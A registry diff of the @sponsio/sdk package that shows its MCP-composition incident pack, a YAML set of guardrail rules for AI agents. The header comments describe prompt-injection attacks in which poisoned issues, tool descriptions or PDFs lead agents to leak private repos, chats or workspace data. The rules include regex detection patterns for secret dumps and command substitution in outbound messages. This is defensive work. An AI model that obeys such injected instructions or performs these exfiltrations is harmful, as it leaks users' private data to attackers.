@sponsio/sdk 0.1.0-alpha.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (113) hide show
  1. package/contracts/capability/credentials.yaml +188 -0
  2. package/contracts/capability/database.yaml +141 -0
  3. package/contracts/capability/filesystem-strict.yaml +101 -0
  4. package/contracts/capability/filesystem.yaml +239 -0
  5. package/contracts/capability/self-modify.yaml +152 -0
  6. package/contracts/capability/shell.yaml +246 -0
  7. package/contracts/capability/subagent.yaml +184 -0
  8. package/contracts/core/llm_safety.yaml +130 -0
  9. package/contracts/core/runaway.yaml +43 -0
  10. package/contracts/core/universal.yaml +34 -0
  11. package/contracts/incident/claude-code-secret-bypass.yaml +197 -0
  12. package/contracts/incident/cursor-railway-wipe.yaml +164 -0
  13. package/contracts/incident/mcp-composition.yaml +418 -0
  14. package/contracts/incident/openclaw.yaml +500 -0
  15. package/contracts/incident/subagent-escape.yaml +177 -0
  16. package/contracts/premium/.gitkeep +7 -0
  17. package/dist/contract.d.ts +59 -0
  18. package/dist/contract.d.ts.map +1 -0
  19. package/dist/contract.js +97 -0
  20. package/dist/contract.js.map +1 -0
  21. package/dist/core/config-loader.d.ts +90 -0
  22. package/dist/core/config-loader.d.ts.map +1 -0
  23. package/dist/core/config-loader.js +530 -0
  24. package/dist/core/config-loader.js.map +1 -0
  25. package/dist/core/evaluator.d.ts +15 -0
  26. package/dist/core/evaluator.d.ts.map +1 -0
  27. package/dist/core/evaluator.js +87 -0
  28. package/dist/core/evaluator.js.map +1 -0
  29. package/dist/core/formula.d.ts +103 -0
  30. package/dist/core/formula.d.ts.map +1 -0
  31. package/dist/core/formula.js +167 -0
  32. package/dist/core/formula.js.map +1 -0
  33. package/dist/core/grounding.d.ts +43 -0
  34. package/dist/core/grounding.d.ts.map +1 -0
  35. package/dist/core/grounding.js +269 -0
  36. package/dist/core/grounding.js.map +1 -0
  37. package/dist/core/nl-parser.d.ts +12 -0
  38. package/dist/core/nl-parser.d.ts.map +1 -0
  39. package/dist/core/nl-parser.js +152 -0
  40. package/dist/core/nl-parser.js.map +1 -0
  41. package/dist/core/pack-loader.d.ts +15 -0
  42. package/dist/core/pack-loader.d.ts.map +1 -0
  43. package/dist/core/pack-loader.js +220 -0
  44. package/dist/core/pack-loader.js.map +1 -0
  45. package/dist/core/parser.d.ts +19 -0
  46. package/dist/core/parser.d.ts.map +1 -0
  47. package/dist/core/parser.js +235 -0
  48. package/dist/core/parser.js.map +1 -0
  49. package/dist/core/pattern-factory.d.ts +38 -0
  50. package/dist/core/pattern-factory.d.ts.map +1 -0
  51. package/dist/core/pattern-factory.js +222 -0
  52. package/dist/core/pattern-factory.js.map +1 -0
  53. package/dist/core/patterns.d.ts +67 -0
  54. package/dist/core/patterns.d.ts.map +1 -0
  55. package/dist/core/patterns.js +585 -0
  56. package/dist/core/patterns.js.map +1 -0
  57. package/dist/core/session-log.d.ts +91 -0
  58. package/dist/core/session-log.d.ts.map +1 -0
  59. package/dist/core/session-log.js +196 -0
  60. package/dist/core/session-log.js.map +1 -0
  61. package/dist/core/spans.d.ts +92 -0
  62. package/dist/core/spans.d.ts.map +1 -0
  63. package/dist/core/spans.js +148 -0
  64. package/dist/core/spans.js.map +1 -0
  65. package/dist/core/sto.d.ts +120 -0
  66. package/dist/core/sto.d.ts.map +1 -0
  67. package/dist/core/sto.js +147 -0
  68. package/dist/core/sto.js.map +1 -0
  69. package/dist/index.d.ts +267 -0
  70. package/dist/index.d.ts.map +1 -0
  71. package/dist/index.js +540 -0
  72. package/dist/index.js.map +1 -0
  73. package/dist/integrations/claude-agent.d.ts +29 -0
  74. package/dist/integrations/claude-agent.d.ts.map +1 -0
  75. package/dist/integrations/claude-agent.js +40 -0
  76. package/dist/integrations/claude-agent.js.map +1 -0
  77. package/dist/integrations/google-adk.d.ts +27 -0
  78. package/dist/integrations/google-adk.d.ts.map +1 -0
  79. package/dist/integrations/google-adk.js +81 -0
  80. package/dist/integrations/google-adk.js.map +1 -0
  81. package/dist/integrations/langchain.d.ts +26 -0
  82. package/dist/integrations/langchain.d.ts.map +1 -0
  83. package/dist/integrations/langchain.js +74 -0
  84. package/dist/integrations/langchain.js.map +1 -0
  85. package/dist/integrations/openai-agents.d.ts +45 -0
  86. package/dist/integrations/openai-agents.d.ts.map +1 -0
  87. package/dist/integrations/openai-agents.js +81 -0
  88. package/dist/integrations/openai-agents.js.map +1 -0
  89. package/dist/integrations/openai.d.ts +24 -0
  90. package/dist/integrations/openai.d.ts.map +1 -0
  91. package/dist/integrations/openai.js +77 -0
  92. package/dist/integrations/openai.js.map +1 -0
  93. package/dist/integrations/vercel-ai.d.ts +38 -0
  94. package/dist/integrations/vercel-ai.d.ts.map +1 -0
  95. package/dist/integrations/vercel-ai.js +107 -0
  96. package/dist/integrations/vercel-ai.js.map +1 -0
  97. package/dist/render/components.d.ts +23 -0
  98. package/dist/render/components.d.ts.map +1 -0
  99. package/dist/render/components.js +133 -0
  100. package/dist/render/components.js.map +1 -0
  101. package/dist/render/derive.d.ts +23 -0
  102. package/dist/render/derive.d.ts.map +1 -0
  103. package/dist/render/derive.js +92 -0
  104. package/dist/render/derive.js.map +1 -0
  105. package/dist/render/session-view.d.ts +19 -0
  106. package/dist/render/session-view.d.ts.map +1 -0
  107. package/dist/render/session-view.js +236 -0
  108. package/dist/render/session-view.js.map +1 -0
  109. package/dist/render/tokens.d.ts +44 -0
  110. package/dist/render/tokens.d.ts.map +1 -0
  111. package/dist/render/tokens.js +72 -0
  112. package/dist/render/tokens.js.map +1 -0
  113. package/package.json +83 -0
@@ -0,0 +1,418 @@
1
+ # =============================================================================
2
+ # sponsio/contracts/incident/mcp-composition.yaml
3
+ #
4
+ # Incident pack — MCP server composition attacks.
5
+ #
6
+ # Real-world attacks this pack defends against, every one with a public PoC:
7
+ #
8
+ # * GitHub MCP Data Heist — Invariant Labs (2025-04 / Docker blog 2025).
9
+ # Agent reads issues from a public repo via `mcp__github__list_issues`;
10
+ # issue body contains a prompt injection asking the agent to also
11
+ # fetch a *different*, private repo and post its contents back as a
12
+ # comment. Same GitHub token covers both repos, so cross-repo
13
+ # escalation is silent at the API layer. Anthropic acknowledged
14
+ # the pattern but declined to change protocol semantics.
15
+ #
16
+ # * Cross-Server Tool Poisoning / Shadowing — Invariant Labs (2025).
17
+ # Server A's tool description hides instructions targeting server B
18
+ # (e.g. weather-MCP description tells the agent to also call
19
+ # `mcp__whatsapp__send_message(to=ATTACKER_PHONE, body=<chat>)`
20
+ # after every weather lookup). When the agent obeys, the call goes
21
+ # through legit server B; the malicious origin is invisible at the
22
+ # call boundary.
23
+ #
24
+ # * Sampling Hijack — The Hacker News (2026-04). Malicious MCP server
25
+ # uses MCP's `sampling` reverse-protocol to inject prompts into the
26
+ # client LLM, hijacking trusted tools. Anthropic SDK design issue
27
+ # across all language SDKs.
28
+ #
29
+ # * Confused Deputy — Cloud Security Alliance (2025). Server with
30
+ # high privileges acts on behalf of lower-privileged users; cannot
31
+ # differentiate between callers because user context isn't
32
+ # propagated through MCP.
33
+ #
34
+ # * Scale: VirusTotal scanned 17,845 public MCP repos and flagged
35
+ # 1,408 (≈8%) as likely malicious (2025-06). Snyk ToxicSkills
36
+ # flagged 1,467 malicious payloads across 3,984 ClawHub/skills.sh
37
+ # entries (2026-02).
38
+ #
39
+ # Sponsio's role: deterministic backstop *after* an injection succeeded.
40
+ # We don't try to detect prompt injection in tool descriptions (that's
41
+ # Lakera / MCP-Scan territory). We assume the agent decided to issue
42
+ # a bad call; the rules below stop the call at the action boundary.
43
+ #
44
+ # What this bundle ships
45
+ # ----------------------
46
+ #
47
+ # Two classes of rule, in priority order:
48
+ #
49
+ # 1. **Universal body-shape rules** (this file, §1–§2). Fire on every
50
+ # matching call, no per-deployment configuration. Block the
51
+ # canonical exfil idioms (KEY=VAL secret payloads, command
52
+ # substitution, backtick) appearing in user-visible body fields of
53
+ # cross-server-prone tools (GitHub issue comments, WhatsApp
54
+ # messages). Always safe to include.
55
+ #
56
+ # 2. **Allowlist templates** (comments in §3). These need a
57
+ # per-deployment list (allowed repos, allowed phone numbers, allowed
58
+ # filesystem paths). Ship as documented templates the operator
59
+ # copies into their own `contracts:` block. Including this bundle
60
+ # does NOT activate any allowlist rule by itself — that would
61
+ # default-deny every GitHub MCP call and break unconfigured users.
62
+ #
63
+ # Source tag convention:
64
+ # incident:mcp-composition.<rule>
65
+ # =============================================================================
66
+
67
+ version: "1"
68
+
69
+ tools:
70
+ # GitHub MCP — github/github-mcp-server (verified naming: mcp__github__<tool>)
71
+ - name: mcp__github__list_issues
72
+ params: "owner: str, repo: str"
73
+ - name: mcp__github__get_issue
74
+ params: "owner: str, repo: str, issue_number: int"
75
+ - name: mcp__github__get_repo
76
+ params: "owner: str, repo: str"
77
+ - name: mcp__github__get_file_contents
78
+ params: "owner: str, repo: str, path: str"
79
+ - name: mcp__github__create_issue_comment
80
+ params: "owner: str, repo: str, issue_number: int, body: str"
81
+ - name: mcp__github__list_pulls
82
+ params: "owner: str, repo: str"
83
+ - name: mcp__github__get_pull_request_diff
84
+ params: "owner: str, repo: str, pull_number: int"
85
+
86
+ # WhatsApp MCP — referenced in the Invariant Labs cross-server PoC
87
+ - name: mcp__whatsapp__send_message
88
+ params: "to: str, body: str"
89
+ - name: mcp__whatsapp__list_messages
90
+ params: "chat_id: str"
91
+
92
+ # Filesystem MCP — modelcontextprotocol/server-filesystem
93
+ - name: mcp__filesystem__read_file
94
+ params: "path: str"
95
+
96
+ # Notion MCP — makenotion/notion-mcp-server. Referenced in the
97
+ # 2025-09 CodeIntegrity PoC (HN top, Schneier blog) where Notion
98
+ # 3.0's AI agent was tricked via PDF-borne injection into
99
+ # exfiltrating private workspace data. GitHub Issue #238 on the
100
+ # official notion-mcp-server is Notion's own acknowledgement.
101
+ - name: mcp__notion__create_page
102
+ params: "parent: object, properties: object, children: array"
103
+ - name: mcp__notion__update_page
104
+ params: "page_id: str, properties: object"
105
+ - name: mcp__notion__append_block_children
106
+ params: "block_id: str, children: array"
107
+ - name: mcp__notion__search
108
+ params: "query: str"
109
+
110
+ # GitHub Gist MCP — referenced in the "Trivial Trojans" arXiv paper
111
+ # (2025-07) and the GitHub MCP Heist's public-PR variant. A public
112
+ # gist is internet-indexed, anonymously readable, and irrevocable
113
+ # in practice (it lives in archives even after delete). This is
114
+ # the high-severity exfil destination for the lethal-trifecta demo.
115
+ - name: mcp__gh_gist__create_gist
116
+ params: "description: str, files: object, public: bool"
117
+ - name: mcp__gh_gist__update_gist
118
+ params: "gist_id: str, files: object"
119
+
120
+ agents:
121
+ "*":
122
+ contracts:
123
+
124
+ # =====================================================================
125
+ # § 1 — GitHub MCP create_issue_comment body must not look like exfil
126
+ #
127
+ # The Invariant Labs Heist PoC ends with the agent posting the
128
+ # leaked private-repo content as a comment on a public-repo issue.
129
+ # Even when the read half slips through, the comment-back step is
130
+ # the canonical exfil channel. We catch two body shapes:
131
+ #
132
+ # (a) Three+ `KEY=VALUE` pairs — characteristic of someone
133
+ # echoing environment / config dumps into a comment. Single
134
+ # `KEY=VAL` (e.g. one URL or one config flag) does NOT trip.
135
+ # (b) Any command substitution (`$(...)` or backtick) — strongly
136
+ # suggests the agent is echoing executed-shell output.
137
+ # =====================================================================
138
+
139
+ - desc: "GitHub MCP comment body must not contain ≥3 KEY=VAL secret-shape pairs"
140
+ E:
141
+ pattern: arg_blacklist
142
+ args:
143
+ - mcp__github__create_issue_comment
144
+ - body
145
+ - ['(?:[A-Z][A-Z0-9_]+=[^\s,;]{6,}.*?){3,}']
146
+ source: "incident:mcp-composition.github_comment_no_secret_shape"
147
+
148
+ - desc: "GitHub MCP comment body must not contain command substitution"
149
+ E:
150
+ pattern: arg_blacklist
151
+ args:
152
+ - mcp__github__create_issue_comment
153
+ - body
154
+ - ['\$\([^)]*\)', '`[^`]+`']
155
+ source: "incident:mcp-composition.github_comment_no_subst"
156
+
157
+ # =====================================================================
158
+ # § 2 — WhatsApp MCP message body must not look like exfil
159
+ #
160
+ # The Invariant Labs WhatsApp PoC: poisoned weather-MCP description
161
+ # induces the agent to call `mcp__whatsapp__send_message` with the
162
+ # user's chat history disguised as a weather summary. Same body-
163
+ # shape defenses as §1.
164
+ # =====================================================================
165
+
166
+ - desc: "WhatsApp MCP message body must not contain ≥3 KEY=VAL secret-shape pairs"
167
+ E:
168
+ pattern: arg_blacklist
169
+ args:
170
+ - mcp__whatsapp__send_message
171
+ - body
172
+ - ['(?:[A-Z][A-Z0-9_]+=[^\s,;]{6,}.*?){3,}']
173
+ source: "incident:mcp-composition.whatsapp_body_no_secret_shape"
174
+
175
+ - desc: "WhatsApp MCP message body must not contain command substitution"
176
+ E:
177
+ pattern: arg_blacklist
178
+ args:
179
+ - mcp__whatsapp__send_message
180
+ - body
181
+ - ['\$\([^)]*\)', '`[^`]+`']
182
+ source: "incident:mcp-composition.whatsapp_body_no_subst"
183
+
184
+ # =====================================================================
185
+ # § 3 — Notion MCP "lethal trifecta" defense
186
+ #
187
+ # CodeIntegrity (Sep 2025) showed Notion 3.0's AI agent could be
188
+ # induced to copy private workspace content to attacker-controlled
189
+ # destinations via PDF-borne prompt injection. Schneier covered
190
+ # it; HN ran the post for a day; PromptArmor labelled the same
191
+ # primitive "unpatched data exfiltration".
192
+ #
193
+ # Pattern (Simon Willison's "lethal trifecta"):
194
+ # 1. Agent has access to private content (local files / pages)
195
+ # 2. Agent processes untrusted content (PDF / page / shared note)
196
+ # 3. Agent has external comms (Notion write to ANY workspace,
197
+ # web_search, …)
198
+ # All three together = structural data theft via prompt injection.
199
+ #
200
+ # Sponsio's role: stateless body-shape + workspace allowlist
201
+ # (universal-rules half) and trace-aware filesystem→notion-write
202
+ # confinement (allowlist-templates half). We can't detect the
203
+ # injection itself — we deny the resulting cross-trust write
204
+ # at the action boundary.
205
+ # =====================================================================
206
+
207
+ - desc: "Notion create_page children must not contain ≥3 KEY=VAL secret-shape pairs"
208
+ E:
209
+ pattern: arg_blacklist
210
+ args:
211
+ - mcp__notion__create_page
212
+ - children
213
+ - ['(?:[A-Z][A-Z0-9_]+=[^\s,;]{6,}.*?){3,}']
214
+ source: "incident:mcp-composition.notion_create_no_secret_shape"
215
+
216
+ - desc: "Notion append_block_children must not contain ≥3 KEY=VAL secret-shape pairs"
217
+ E:
218
+ pattern: arg_blacklist
219
+ args:
220
+ - mcp__notion__append_block_children
221
+ - children
222
+ - ['(?:[A-Z][A-Z0-9_]+=[^\s,;]{6,}.*?){3,}']
223
+ source: "incident:mcp-composition.notion_append_no_secret_shape"
224
+
225
+ - desc: "Notion create_page children must not contain command substitution"
226
+ E:
227
+ pattern: arg_blacklist
228
+ args:
229
+ - mcp__notion__create_page
230
+ - children
231
+ - ['\$\([^)]*\)', '`[^`]+`']
232
+ source: "incident:mcp-composition.notion_create_no_subst"
233
+
234
+ # =====================================================================
235
+ # § 3b — GitHub Gist MCP "lethal trifecta" exfil defense
236
+ #
237
+ # "Trivial Trojans" (arXiv 2507.19880, 2025-07): a minimal
238
+ # malicious MCP server steals banking data via webhook.site or
239
+ # a public gist. GitGuardian (2026-04) measured 28.6M secrets
240
+ # leaked through public GitHub commits in 2025 (+34% YoY) — the
241
+ # public-Gist exfil channel is the dominant real-world leak
242
+ # surface for AI agents in 2026.
243
+ #
244
+ # A public gist is:
245
+ # - internet-indexed (Google sees it within hours)
246
+ # - anonymously readable (no GitHub account needed)
247
+ # - effectively irrevocable (web archives mirror them in
248
+ # minutes; a delete on the GitHub side doesn't pull from
249
+ # archive.org)
250
+ #
251
+ # We block universal exfil shapes (KEY=VAL, $(...) substitution),
252
+ # plus three sensitive-content patterns that are almost always
253
+ # exfil signals when present in a gist file: salary amounts,
254
+ # employment-termination keywords, and named-customer ARR figures.
255
+ # The patterns deliberately allow single mentions (e.g. one
256
+ # salary band as a reference) and only fire when ≥2 instances
257
+ # cluster — typical of a leaked employee-list or customer-list.
258
+ # =====================================================================
259
+
260
+ - desc: "Gist files content must not contain ≥3 KEY=VAL secret-shape pairs"
261
+ E:
262
+ pattern: arg_blacklist
263
+ args:
264
+ - mcp__gh_gist__create_gist
265
+ - files
266
+ - ['(?:[A-Z][A-Z0-9_]+=[^\s,;]{6,}.*?){3,}']
267
+ source: "incident:mcp-composition.gist_no_secret_shape"
268
+
269
+ - desc: "Gist files content must not contain command substitution"
270
+ E:
271
+ pattern: arg_blacklist
272
+ args:
273
+ - mcp__gh_gist__create_gist
274
+ - files
275
+ - ['\$\([^)]*\)', '`[^`]+`']
276
+ source: "incident:mcp-composition.gist_no_subst"
277
+
278
+ - desc: "Gist files content must not contain ≥2 salary amounts (typical employee-list leak)"
279
+ E:
280
+ pattern: arg_blacklist
281
+ args:
282
+ - mcp__gh_gist__create_gist
283
+ - files
284
+ - ['(?:\$[0-9]{2,3}[,k][0-9]{0,3}.*?){2,}']
285
+ source: "incident:mcp-composition.gist_no_multi_salary"
286
+
287
+ - desc: "Gist files content must not contain employment-termination language (PIP / fired / exit-by)"
288
+ E:
289
+ pattern: arg_blacklist
290
+ args:
291
+ - mcp__gh_gist__create_gist
292
+ - files
293
+ - ['\b(PIP|performance improvement plan|terminat\w*|exit by|let go|fired|severance package)\b']
294
+ source: "incident:mcp-composition.gist_no_termination_lang"
295
+
296
+ - desc: "Gist files content must not contain ≥2 customer ARR/MRR figures (customer-list leak)"
297
+ E:
298
+ pattern: arg_blacklist
299
+ args:
300
+ - mcp__gh_gist__create_gist
301
+ - files
302
+ - ['(?:\$[0-9]+[,.]?[0-9]*\s*[kKmM]?\s*(?:ARR|MRR).*?){2,}']
303
+ source: "incident:mcp-composition.gist_no_multi_arr"
304
+
305
+ # =====================================================================
306
+ # § 4 — Allowlist templates (NOT ACTIVE — copy into your sponsio.yaml)
307
+ #
308
+ # The rules below are templates. Including this bundle does NOT
309
+ # enable them; you'd need to copy them into your local `contracts:`
310
+ # block and replace the placeholder regex with your real allowlist.
311
+ #
312
+ # ---------------------------------------------------------------------
313
+ # 4a. GitHub MCP repo allowlist (defends against the Data Heist's
314
+ # cross-repo escalation step). Replace `<your-org>/(<repo-1>|<repo-2>)`
315
+ # with your org's allowed repos.
316
+ # ---------------------------------------------------------------------
317
+ #
318
+ # contracts:
319
+ # - desc: "GitHub MCP get_repo: repo arg restricted to my allowlist"
320
+ # E:
321
+ # ltl: 'G(called(mcp__github__get_repo) -> arg_field_has(mcp__github__get_repo, repo, "^(my-org/public-repo|my-org/intended-repo)$"))'
322
+ #
323
+ # - desc: "GitHub MCP get_file_contents: repo arg restricted to my allowlist"
324
+ # E:
325
+ # ltl: 'G(called(mcp__github__get_file_contents) -> arg_field_has(mcp__github__get_file_contents, repo, "^(my-org/public-repo|my-org/intended-repo)$"))'
326
+ #
327
+ # - desc: "GitHub MCP create_issue_comment: target repo restricted to my allowlist"
328
+ # E:
329
+ # ltl: 'G(called(mcp__github__create_issue_comment) -> arg_field_has(mcp__github__create_issue_comment, repo, "^(my-org/public-repo|my-org/intended-repo)$"))'
330
+ #
331
+ # ---------------------------------------------------------------------
332
+ # 4b. WhatsApp MCP recipient allowlist (defends against cross-server
333
+ # description poisoning + attacker-phone exfil). Replace
334
+ # `\\+1415555XXXX` with your allowed contacts.
335
+ # ---------------------------------------------------------------------
336
+ #
337
+ # contracts:
338
+ # - desc: "WhatsApp MCP send_message: recipient restricted to my allowlist"
339
+ # E:
340
+ # ltl: 'G(called(mcp__whatsapp__send_message) -> arg_field_has(mcp__whatsapp__send_message, to, "^\\+1415555[0-9]{4}$"))'
341
+ #
342
+ # ---------------------------------------------------------------------
343
+ # 4c. Filesystem MCP workspace scope (defends against cross-server
344
+ # data-flow attacks that bridge filesystem reads into outbound MCP
345
+ # calls). Replace `/workspace/project/.*` with your allowed paths.
346
+ # ---------------------------------------------------------------------
347
+ #
348
+ # contracts:
349
+ # - desc: "Filesystem MCP read_file: path restricted to my workspace"
350
+ # E:
351
+ # ltl: 'G(called(mcp__filesystem__read_file) -> arg_field_has(mcp__filesystem__read_file, path, "^/workspace/project/.*"))'
352
+ #
353
+ # ---------------------------------------------------------------------
354
+ # 4d. Notion MCP workspace allowlist (defends against the lethal-
355
+ # trifecta exfil where private workspace content is copied to an
356
+ # attacker-controlled workspace). Find your workspace IDs in the
357
+ # Notion API response or the URL of any workspace page; replace
358
+ # the regex below with the IDs you intend the agent to write to.
359
+ # ---------------------------------------------------------------------
360
+ #
361
+ # contracts:
362
+ # - desc: "Notion MCP create_page: parent workspace restricted to my allowlist"
363
+ # E:
364
+ # ltl: 'G(called(mcp__notion__create_page) -> arg_field_has(mcp__notion__create_page, parent, "(workspace_id|database_id)\":\\s*\"(my-workspace-id-1|my-workspace-id-2)\""))'
365
+ #
366
+ # - desc: "Notion MCP update_page: page must be in my workspace allowlist"
367
+ # E:
368
+ # ltl: 'G(called(mcp__notion__update_page) -> arg_field_has(mcp__notion__update_page, page_id, "^(my-page-id-1|my-page-id-2)$"))'
369
+ #
370
+ # ---------------------------------------------------------------------
371
+ # 4e. Trace-aware "lethal trifecta" defense — after the agent has
372
+ # *read* untrusted local content (e.g. a markdown note containing
373
+ # an injection in an HTML comment), confine subsequent Notion
374
+ # writes to the operator's narrow allowlist. Belt-and-suspenders
375
+ # over 4d: even if 4d's allowlist is broad, this rule activates
376
+ # only after a Read happens and tightens further. Uses
377
+ # ``activate_at: first_match`` so events before the Read are
378
+ # unaffected.
379
+ # ---------------------------------------------------------------------
380
+ #
381
+ # contracts:
382
+ # - desc: "After reading local notes, Notion writes confined to my own workspace"
383
+ # activate_at: first_match
384
+ # A:
385
+ # ltl: 'F(arg_field_has(Read, file_path, "(^|/)\\.md$|/notes/"))'
386
+ # E:
387
+ # ltl: 'G(called(mcp__notion__create_page) -> arg_field_has(mcp__notion__create_page, parent, "\"(my-workspace-id-1|my-workspace-id-2)\""))'
388
+ #
389
+ # ---------------------------------------------------------------------
390
+ # 4f. GitHub Gist privacy enforcement — gists must be private only.
391
+ # Public gists are internet-indexed and anonymously readable.
392
+ # Even within `public: false`, the universal §3b rules above
393
+ # block exfil-shaped content; this rule closes the visibility
394
+ # half of the threat model. See "Trivial Trojans" (arXiv) and
395
+ # GitGuardian's 2026 leaked-secrets count for motivation.
396
+ # ---------------------------------------------------------------------
397
+ #
398
+ # contracts:
399
+ # - desc: "GitHub Gist must be private (public: false)"
400
+ # E:
401
+ # ltl: 'G(called(mcp__gh_gist__create_gist) -> arg_field_has(mcp__gh_gist__create_gist, public, "false"))'
402
+ #
403
+ # ---------------------------------------------------------------------
404
+ # 4g. Trace-aware lethal-trifecta for Gist — after reading any
405
+ # local notes, Gists must be private only. Combined with §3b's
406
+ # body-shape rules (always-on), this gives full coverage of the
407
+ # "agent reads notes → exfils via gist" composition chain.
408
+ # ---------------------------------------------------------------------
409
+ #
410
+ # contracts:
411
+ # - desc: "After reading local notes, Gist must be private"
412
+ # activate_at: first_match
413
+ # A:
414
+ # ltl: 'F(called(Read))'
415
+ # E:
416
+ # ltl: 'G(called(mcp__gh_gist__create_gist) -> arg_field_has(mcp__gh_gist__create_gist, public, "false"))'
417
+ #
418
+ # =====================================================================